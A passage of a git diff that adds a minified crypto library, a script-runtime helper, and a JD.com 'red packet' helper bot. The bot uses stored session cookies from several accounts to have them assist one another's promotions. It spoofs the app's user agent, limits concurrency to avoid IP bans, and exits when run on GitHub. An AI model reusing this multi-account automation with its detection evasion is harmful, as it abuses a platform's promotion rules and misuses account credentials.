26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date(new Date().getTime()+new Date().getTimezoneOffset()*60*1000+8*60*60*1000);let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_redPacket_help.js b/jd_redPacket_help.js new file mode 100644 index 0000000..77b661d --- /dev/null +++ b/jd_redPacket_help.js @@ -0,0 +1,319 @@ +/* +京东全民开红包助力-纯助力 +活动入口:京东APP首页-领券-锦鲤红包。[活动地址](https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html) +助力罗辑 头部ck,目前不助力作者 +helpnum 助力前面ck数量,建议1-3,换景变量支持 HELP_NUM +少并发,防止黑ip +不开红包,只助力,开包的跑一下 jd_redPacket.js +1 1,2,23 * * * jd_redPacket_help.js + */ +const $ = new Env('京东全民开红包助力-纯助力'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +let isLoginInfo = {} +let helpnum=1 +$.redPacketId = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +if (process.env.HELP_NUM && process.env.HELP_NUM != "") { + helpnum = process.env.HELP_NUM; +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + + for (let i = 0; i < helpnum; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.discount = 0; + await redPacket(); + await showMsg(); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.index = i + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + $.redPacketId = [...new Set($.redPacketId)]; + if (cookiesArr && cookiesArr.length >= 2) { + console.log(`\n\n自己账号内部互助`); + for (let j = 0; j < $.redPacketId.length && $.canHelp; j++) { + console.log(`账号 ${$.index} ${$.UserName} 开始给 ${$.redPacketId[j]} 进行助力`) + $.max = false; + await jinli_h5assist($.redPacketId[j]); + if ($.max) { + $.redPacketId.splice(j, 1) + j-- + continue + } + } + } + + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function redPacket() { + try { + await h5activityIndex();//查询红包基础信息 + await red();//红包任务(发起助力红包,领取助力红包等) + await h5activityIndex(); + } catch (e) { + $.logErr(e); + } +} +function showMsg() { + console.log(`\n\n${$.name}获得红包:${$.discount}元\n\n`); +} +async function red() { + $.hasSendNumber = 0; + $.assistants = 0; + $.waitOpenTimes = 0; + if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.result) { + const rewards = $.h5activityIndex.data.result.rewards || []; + $.hasSendNumber = $.h5activityIndex.data.result.hasSendNumber; + if ($.h5activityIndex.data.result.redpacketConfigFillRewardInfo) { + for (let key of Object.keys($.h5activityIndex.data.result.redpacketConfigFillRewardInfo)) { + let vo = $.h5activityIndex.data.result.redpacketConfigFillRewardInfo[key] + $.assistants += vo.hasAssistNum + if (vo.packetStatus === 1) { + $.waitOpenTimes += 1 + } + } + } + } + if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.biz_code === 10002) { + //可发起拆红包活动 + await h5launch(); + } else if ($.h5activityIndex && $.h5activityIndex.data && ($.h5activityIndex.data.biz_code === 20001)) { + //20001:红包活动正在进行,可拆 + const redPacketId = $.h5activityIndex.data.result.redpacketInfo.id; + if (redPacketId) $.redPacketId.push(redPacketId); + console.log(`\n\n当前待拆红包ID:${$.h5activityIndex.data.result.redpacketInfo.id},进度:再邀${$.h5activityIndex.data.result.redpacketConfigFillRewardInfo[$.hasSendNumber].requireAssistNum - $.h5activityIndex.data.result.redpacketConfigFillRewardInfo[$.hasSendNumber].hasAssistNum}个好友,开第${$.hasSendNumber + 1}个红包。当前已拆红包:${$.hasSendNumber}个,剩余${$.h5activityIndex.data.result.remainRedpacketNumber}个红包待开,已有${$.assistants}好友助力\n\n`) + console.log(`当前可拆红包个数:${$.waitOpenTimes}`) + } else if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.biz_code === 20002) { + console.log(`\n${$.h5activityIndex.data.biz_msg}\n`); + } +} + +//助力API +function jinli_h5assist(redPacketId) { + //一个人一天只能助力两次,助力码redPacketId 每天都变 + const body = { + "random":randomString(8), + redPacketId, + "followShop":0, + "sceneid":"JLHBhPageh5", + "log":"42588613~8,~0iuxyee" + }; + const options = taskUrl(arguments.callee.name.toString(), body) + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data && data.data && data.data.biz_code === 0) { + // status ,0:助力成功,1:不能重复助力,3:助力次数耗尽,8:不能为自己助力 + console.log(`助力结果:${data.data.result.statusDesc}`) + if (data.data.result.status === 2) $.max = true; + if (data.data.result.status === 3) $.canHelp = false; + if (data.data.result.status === 9) $.canHelp = false; + } else { + console.log(`助力异常:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//发起助力红包API +function h5launch() { + const body = { + "random":randomString(8), + "followShop":1, + "sceneid":"JLHBhPageh5", + "log":"4817e3a2~8,~1wsv3ig" + }; + const options = taskUrl(arguments.callee.name.toString(), body) + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data && data.data && data.data.biz_code === 0) { + if (data.data.result.redPacketId) { + console.log(`\n\n发起助力红包 成功:红包ID ${data.data.result.redPacketId}`) + $.redPacketId.push(data.data.result.redPacketId); + } else { + console.log(`\n\n发起助力红包 失败:${data.data.result.statusDesc}`) + } + } else { + console.log(`发起助力红包 失败:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function h5activityIndex() { + const body = {"clientInfo":{},"isjdapp":1}; + const options = taskUrl(arguments.callee.name.toString(), body); + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + $.h5activityIndex = data; + $.discount = 0; + if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.result) { + const rewards = $.h5activityIndex.data.result.rewards || []; + for (let item of rewards) { + $.discount += item.packetSum; + } + if ($.discount) $.discount = $.discount.toFixed(2); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?appid=jinlihongbao&functionId=${functionId}&loginType=2&client=jinlihongbao&clientVersion=10.1.0&osVersion=iOS&d_brand=iPhone&d_model=iPhone&t=${new Date().getTime() * 1000}`, + body: `body=${escape(JSON.stringify(body))}`, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://happy.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie, + "Connection": "keep-alive", + "Accept": "*/*", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html", + "Content-Length": "56", + "Accept-Language": "zh-cn" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = 